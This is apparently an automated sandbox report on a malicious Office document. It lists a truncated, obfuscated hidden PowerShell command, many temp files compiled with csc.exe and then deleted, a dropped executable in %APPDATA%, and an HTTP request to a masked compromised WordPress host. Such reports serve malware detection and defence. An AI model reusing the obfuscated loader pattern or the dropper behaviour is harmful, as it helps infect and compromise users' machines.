Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function u1268b {param($y6bb6)$d9591='ad6e7';$t5e6a='';for ($i=0; $i -lt $y6bb6.length;$i+=2){$gfff7=[convert]::ToByte($y6bb6.Substring($i,2),16);$t5e6a+=[char]($gfff7 -bx...
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{6dc2d4f1-a98e-4e01-85c3-f258700a83bb}.tmp
- %TEMP%\res40ef.tmp
- %TEMP%\h8nrlo5f.dll
- %TEMP%\csc44b7.tmp
- %TEMP%\csc44e6.tmp
- %TEMP%\csc460e.tmp
- %TEMP%\csc462e.tmp
- %TEMP%\res42c4.tmp
- %TEMP%\mfof-alz.dll
- %TEMP%\res412d.tmp
- %TEMP%\nrklfbdj.dll
- %TEMP%\res44d7.tmp
- %TEMP%\csc490c.tmp
- %TEMP%\arxbvryc.cmdline
- %TEMP%\csc492b.tmp
- %TEMP%\res493c.tmp
- %TEMP%\res461f.tmp
- %TEMP%\yaanekle.dll
- %TEMP%\res463e.tmp
- %TEMP%\res44f6.tmp
- %TEMP%\res491d.tmp
- %TEMP%\xtcoflk4.dll
- %TEMP%\res495b.tmp
- %TEMP%\fa8-kldf.dll
- %TEMP%\j0n5oj2w.dll
- %TEMP%\ccdu1674.dll
- %TEMP%\_fdi2izs.dll
- %TEMP%\csc411d.tmp
- %TEMP%\csc42a3.tmp
- %TEMP%\csc40bf.tmp
- %TEMP%\fa8-kldf.out
- %TEMP%\fa8-kldf.cmdline
- %TEMP%\mfof-alz.0.cs
- %TEMP%\h8nrlo5f.0.cs
- %TEMP%\j0n5oj2w.0.cs
- %TEMP%\j0n5oj2w.cmdline
- %TEMP%\ccdu1674.0.cs
- %TEMP%\_fdi2izs.0.cs
- %TEMP%\_fdi2izs.cmdline
- %TEMP%\_fdi2izs.out
- %TEMP%\yaanekle.0.cs
- %TEMP%\arxbvryc.0.cs
- %TEMP%\fa8-kldf.0.cs
- %TEMP%\yaanekle.cmdline
- %TEMP%\arxbvryc.dll
- %TEMP%\csc494b.tmp
- %TEMP%\mfof-alz.cmdline
- %TEMP%\nrklfbdj.0.cs
- %TEMP%\yaanekle.out
- %TEMP%\nrklfbdj.cmdline
- %TEMP%\nrklfbdj.out
- %TEMP%\mfof-alz.out
- %TEMP%\ccdu1674.cmdline
- %TEMP%\ccdu1674.out
- %TEMP%\j0n5oj2w.out
- %TEMP%\xtcoflk4.cmdline
- %TEMP%\xtcoflk4.out
- %TEMP%\h8nrlo5f.cmdline
- %TEMP%\h8nrlo5f.out
- %TEMP%\xtcoflk4.0.cs
- %TEMP%\arxbvryc.out
- %APPDATA%\t1b9cb5.exe
Deletes the following files
- %TEMP%\res40ef.tmp
- %TEMP%\csc494b.tmp
- %TEMP%\res495b.tmp
- %TEMP%\xtcoflk4.dll
- %TEMP%\xtcoflk4.0.cs
- %TEMP%\xtcoflk4.out
- %TEMP%\arxbvryc.0.cs
- %TEMP%\xtcoflk4.cmdline
- %TEMP%\_fdi2izs.0.cs
- %TEMP%\_fdi2izs.pdb
- %TEMP%\_fdi2izs.dll
- %TEMP%\_fdi2izs.cmdline
- %TEMP%\_fdi2izs.out
- %TEMP%\csc44b7.tmp
- %TEMP%\xtcoflk4.pdb
- %TEMP%\nrklfbdj.cmdline
- %TEMP%\arxbvryc.cmdline
- %TEMP%\ccdu1674.pdb
- %TEMP%\ccdu1674.0.cs
- %TEMP%\ccdu1674.out
- %TEMP%\j0n5oj2w.dll
- %TEMP%\j0n5oj2w.0.cs
- %TEMP%\j0n5oj2w.cmdline
- %TEMP%\csc490c.tmp
- %TEMP%\arxbvryc.out
- %TEMP%\fa8-kldf.0.cs
- %TEMP%\fa8-kldf.cmdline
- %TEMP%\fa8-kldf.pdb
- %TEMP%\fa8-kldf.dll
- %TEMP%\fa8-kldf.out
- %TEMP%\arxbvryc.dll
- %TEMP%\j0n5oj2w.out
- %TEMP%\arxbvryc.pdb
- %TEMP%\res491d.tmp
- %TEMP%\csc44e6.tmp
- %TEMP%\res44f6.tmp
- %TEMP%\h8nrlo5f.out
- %TEMP%\csc40bf.tmp
- %TEMP%\res42c4.tmp
- %TEMP%\csc42a3.tmp
- %TEMP%\res412d.tmp
- %TEMP%\csc411d.tmp
- %TEMP%\ccdu1674.dll
- %TEMP%\res44d7.tmp
- %TEMP%\yaanekle.pdb
- %TEMP%\h8nrlo5f.cmdline
- %TEMP%\h8nrlo5f.dll
- %TEMP%\h8nrlo5f.pdb
- %TEMP%\res461f.tmp
- %TEMP%\csc460e.tmp
- %TEMP%\h8nrlo5f.0.cs
- %TEMP%\j0n5oj2w.pdb
- %TEMP%\yaanekle.cmdline
- %TEMP%\res493c.tmp
- %TEMP%\yaanekle.out
- %TEMP%\csc462e.tmp
- %TEMP%\res463e.tmp
- %TEMP%\mfof-alz.out
- %TEMP%\mfof-alz.cmdline
- %TEMP%\mfof-alz.dll
- %TEMP%\yaanekle.dll
- %TEMP%\mfof-alz.pdb
- %TEMP%\yaanekle.0.cs
- %TEMP%\nrklfbdj.pdb
- %TEMP%\nrklfbdj.0.cs
- %TEMP%\nrklfbdj.dll
- %TEMP%\nrklfbdj.out
- %TEMP%\csc492b.tmp
- %TEMP%\mfof-alz.0.cs
- %TEMP%\ccdu1674.cmdline
Network activity
TCP
HTTP GET requests
- http://un#######importandexport.com/wp-content/plugins/all-in-one-wp-migration/lib/data.php
UDP
- DNS ASK un#######importandexport.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function u1268b {param($y6bb6)$d9591='ad6e7';$t5e6a='';for ($i=0; $i -lt $y6bb6.length;$i+=2){$gfff7=[convert]::ToByte($y6bb6.Substring($i,2),16);$t5e6a+=[char]($gfff7 -bx...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES491D.tmp" "%TEMP%\CSC490C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES44F6.tmp" "%TEMP%\CSC44E6.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES463E.tmp" "%TEMP%\CSC462E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES461F.tmp" "%TEMP%\CSC460E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES44D7.tmp" "%TEMP%\CSC44B7.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES412D.tmp" "%TEMP%\CSC411D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42C4.tmp" "%TEMP%\CSC42A3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES40EF.tmp" "%TEMP%\CSC40BF.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES493C.tmp" "%TEMP%\CSC492B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fa8-kldf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xtcoflk4.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j0n5oj2w.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ccdu1674.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mfof-alz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nrklfbdj.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yaanekle.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\arxbvryc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_fdi2izs.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h8nrlo5f.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES495B.tmp" "%TEMP%\CSC494B.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES491D.tmp" "%TEMP%\CSC490C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES44F6.tmp" "%TEMP%\CSC44E6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES463E.tmp" "%TEMP%\CSC462E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES461F.tmp" "%TEMP%\CSC460E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES44D7.tmp" "%TEMP%\CSC44B7.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES412D.tmp" "%TEMP%\CSC411D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES42C4.tmp" "%TEMP%\CSC42A3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES40EF.tmp" "%TEMP%\CSC40BF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fa8-kldf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h8nrlo5f.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xtcoflk4.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\j0n5oj2w.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ccdu1674.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mfof-alz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nrklfbdj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yaanekle.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\arxbvryc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_fdi2izs.cmdline"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES493C.tmp" "%TEMP%\CSC492B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES495B.tmp" "%TEMP%\CSC494B.tmp"
